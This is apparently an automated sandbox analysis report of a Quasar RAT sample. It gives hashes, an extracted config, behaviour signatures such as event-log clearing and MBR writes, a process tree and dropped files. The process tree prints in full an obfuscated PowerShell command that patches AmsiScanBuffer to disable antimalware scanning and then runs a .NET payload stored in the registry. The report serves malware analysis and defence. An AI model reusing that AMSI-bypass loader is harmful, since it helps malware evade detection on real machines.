Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/01/2025, 05:48

General

  • Target

    24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe

  • Size

    5.4MB

  • MD5

    dd2c5095b1d6590197ed2432837655f0

  • SHA1

    d287bb38f83941199fa66d7420b6f8cff2257a16

  • SHA256

    24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999

  • SHA512

    24d7f1b61f07060f7723a306d46b1d82ca1b54a93770bfb783b83f613edb9a412f929a40c396fda5b6b3402ca37531f53ce1d42524623a6ce1cfee61e726e283

  • SSDEEP

    98304:zHTFcsxxcsx30XgnNvfSDRyhoVi8rhh+xX/r:zHOgn0DRy2oR/r

Malware Config

Extracted

Family

quasar

Attributes
  • encryption_key

    329720B689F7B7703EAAA9546BE3BAFE737B0649

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 17 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 9 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:624
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:376
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{38bd778d-72dd-40e4-b91c-6bef44bb65e6}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4864
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Drops file in System32 directory
        PID:688
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:972
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:440
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:964
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1080
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:1092
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                  1⤵
                  • Indicator Removal: Clear Windows Event Logs
                  PID:1128
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  PID:1148
                  • C:\Windows\system32\taskhostw.exe
                    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                    2⤵
                      PID:2852
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZlSuRwmyAxcS{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$dhgFSTjUYcgUeJ,[Parameter(Position=1)][Type]$QgFQciqsGX)$jiBAHZAnumS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+[Char](101)+''+'c'+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'em'+[Char](111)+'ry'+'M'+''+'o'+''+'d'+''+'u'+'le',$False).DefineType('M'+[Char](121)+''+'D'+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'Seal'+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+''+'s'+'i'+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+'ss',[MulticastDelegate]);$jiBAHZAnumS.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+'Hi'+[Char](100)+'e'+[Char](66)+'y'+'S'+'ig'+','+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$dhgFSTjUYcgUeJ).SetImplementationFlags('Ru'+'n'+'ti'+'m'+'e,'+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+'d');$jiBAHZAnumS.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+'e'+'',''+'P'+'ub'+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+'ig'+','+''+[Char](78)+''+'e'+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+'a'+''+[Char](108)+'',$QgFQciqsGX,$dhgFSTjUYcgUeJ).SetImplementationFlags('R'+'u'+''+'n'+'ti'+[Char](109)+''+'e'+',M'+[Char](97)+''+[Char](110)+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $jiBAHZAnumS.CreateType();}$iNcnxNdrUbpzd=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+'e'+'m'+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+'c'+[Char](114)+'o'+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+''+[Char](50)+'.'+[Char](85)+'n'+[Char](115)+'a'+[Char](102)+''+'e'+''+'N'+''+'a'+''+'t'+'iv'+[Char](101)+''+[Char](77)+'e'+'t'+'ho'+'d'+'s');$DUwnbtAiwOTKgq=$iNcnxNdrUbpzd.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+'d'+''+'d'+'res'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+'li'+[Char](99)+''+','+''+'S'+''+[Char](116)+'a'+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GkfEHHiTrxnnyQVxdsf=ZlSuRwmyAxcS @([String])([IntPtr]);$bKgWGQaRwaSwmiQlTwrajv=ZlSuRwmyAxcS @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gtaYeHXrKBF=$iNcnxNdrUbpzd.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$EgngOiAsjmSsIT=$DUwnbtAiwOTKgq.Invoke($Null,@([Object]$gtaYeHXrKBF,[Object](''+[Char](76)+''+'o'+''+'a'+'d'+[Char](76)+''+'i'+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$JrPPCKYbIwWBqgeab=$DUwnbtAiwOTKgq.Invoke($Null,@([Object]$gtaYeHXrKBF,[Object]('V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'lPro'+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$jTqHAFe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EgngOiAsjmSsIT,$GkfEHHiTrxnnyQVxdsf).Invoke(''+'a'+'m'+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$AMhMpIkpCrGhVaZsG=$DUwnbtAiwOTKgq.Invoke($Null,@([Object]$jTqHAFe,[Object](''+'A'+''+[Char](109)+'s'+'i'+'S'+[Char](99)+''+'a'+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$aPKoQUDIRO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JrPPCKYbIwWBqgeab,$bKgWGQaRwaSwmiQlTwrajv).Invoke($AMhMpIkpCrGhVaZsG,[uint32]8,4,[ref]$aPKoQUDIRO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AMhMpIkpCrGhVaZsG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JrPPCKYbIwWBqgeab,$bKgWGQaRwaSwmiQlTwrajv).Invoke($AMhMpIkpCrGhVaZsG,[uint32]8,0x20,[ref]$aPKoQUDIRO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+'T'+'W'+''+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](36)+''+[Char](110)+''+[Char](121)+''+[Char](97)+''+'-'+''+'s'+'ta'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:3192
                      • C:\Windows\System32\Conhost.exe
                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                        3⤵
                          PID:3724
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1272
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1308
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                          1⤵
                            PID:1388
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                            1⤵
                              PID:1408
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1444
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2652
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1492
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1500
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1668
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1692
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1784
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1792
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1880
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:2032
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1200
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1384
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                      1⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1828
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1932
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2156
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2236
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2376
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2500
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2512
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                  1⤵
                                                                    PID:2664
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    PID:2752
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                    • Enumerates connected drives
                                                                    PID:2760
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2816
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2828
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2836
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                          1⤵
                                                                            PID:2904
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:428
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3352
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                  PID:3392
                                                                                  • C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe"
                                                                                    2⤵
                                                                                    • Checks computer location settings
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1980
                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                      "C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F
                                                                                      3⤵
                                                                                        PID:2020
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
                                                                                        3⤵
                                                                                        • Suspicious use of SetThreadContext
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:4688
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
                                                                                          4⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:1188
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3604
                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                      1⤵
                                                                                        PID:3788
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:3952
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:4132
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:4500
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:5116
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:4824
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                1⤵
                                                                                                  PID:4044
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:2632
                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:564
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:4472
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:4800
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:2792
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:1088
                                                                                                          • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                            C:\Windows\System32\WaaSMedicAgent.exe 5151ffa362a63e2c0fa6f329434dd3d8 plMvRhIyq0WlilEX1bDG/A.0.1.0.0.0
                                                                                                            1⤵
                                                                                                            • Sets service image path in registry
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:3876
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              2⤵
                                                                                                                PID:4888
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                              1⤵
                                                                                                              • Drops file in Windows directory
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:2788
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                              1⤵
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Writes to the Master Boot Record (MBR)
                                                                                                              • Checks SCSI registry key(s)
                                                                                                              • Enumerates system info in registry
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:3856
                                                                                                            • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              1⤵
                                                                                                                PID:2672
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                1⤵
                                                                                                                • Checks processor information in registry
                                                                                                                PID:816
                                                                                                              • C:\Windows\System32\mousocoreworker.exe
                                                                                                                C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                1⤵
                                                                                                                • Checks processor information in registry
                                                                                                                • Enumerates system info in registry
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:4832
                                                                                                              • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                1⤵
                                                                                                                  PID:768

                                                                                                                Network

                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                Replay Monitor

                                                                                                                Loading Replay Monitor...

                                                                                                                Downloads

                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                  Filesize

                                                                                                                  2KB

                                                                                                                  MD5

                                                                                                                  8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                  SHA1

                                                                                                                  98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                  SHA256

                                                                                                                  ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                  SHA512

                                                                                                                  c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                  Filesize

                                                                                                                  2KB

                                                                                                                  MD5

                                                                                                                  f313c5b4f95605026428425586317353

                                                                                                                  SHA1

                                                                                                                  06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                  SHA256

                                                                                                                  129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                  SHA512

                                                                                                                  b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                  Filesize

                                                                                                                  2KB

                                                                                                                  MD5

                                                                                                                  ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                  SHA1

                                                                                                                  a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                  SHA256

                                                                                                                  98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                  SHA512

                                                                                                                  1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                  Filesize

                                                                                                                  2KB

                                                                                                                  MD5

                                                                                                                  7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                  SHA1

                                                                                                                  63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                  SHA256

                                                                                                                  727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                  SHA512

                                                                                                                  f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                  Filesize

                                                                                                                  2KB

                                                                                                                  MD5

                                                                                                                  0b990e24f1e839462c0ac35fef1d119e

                                                                                                                  SHA1

                                                                                                                  9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                  SHA256

                                                                                                                  a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                  SHA512

                                                                                                                  c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                • C:\Windows\Temp\__PSScriptPolicyTest_0e0f54gu.ay1.ps1

                                                                                                                  Filesize

                                                                                                                  60B

                                                                                                                  MD5

                                                                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                  SHA1

                                                                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                  SHA256

                                                                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                  SHA512

                                                                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                • memory/376-82-0x0000026A5D270000-0x0000026A5D29A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/624-43-0x0000022C86B80000-0x0000022C86BAA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/624-47-0x0000022C86B80000-0x0000022C86BAA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/624-36-0x0000022C86B50000-0x0000022C86B74000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  144KB

                                                                                                                • memory/624-38-0x0000022C86B80000-0x0000022C86BAA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/624-37-0x0000022C86B80000-0x0000022C86BAA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/624-44-0x0000022C86B80000-0x0000022C86BAA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/624-45-0x0000022C86B80000-0x0000022C86BAA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/624-46-0x0000022C86B80000-0x0000022C86BAA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/624-48-0x00007FFED4850000-0x00007FFED4860000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

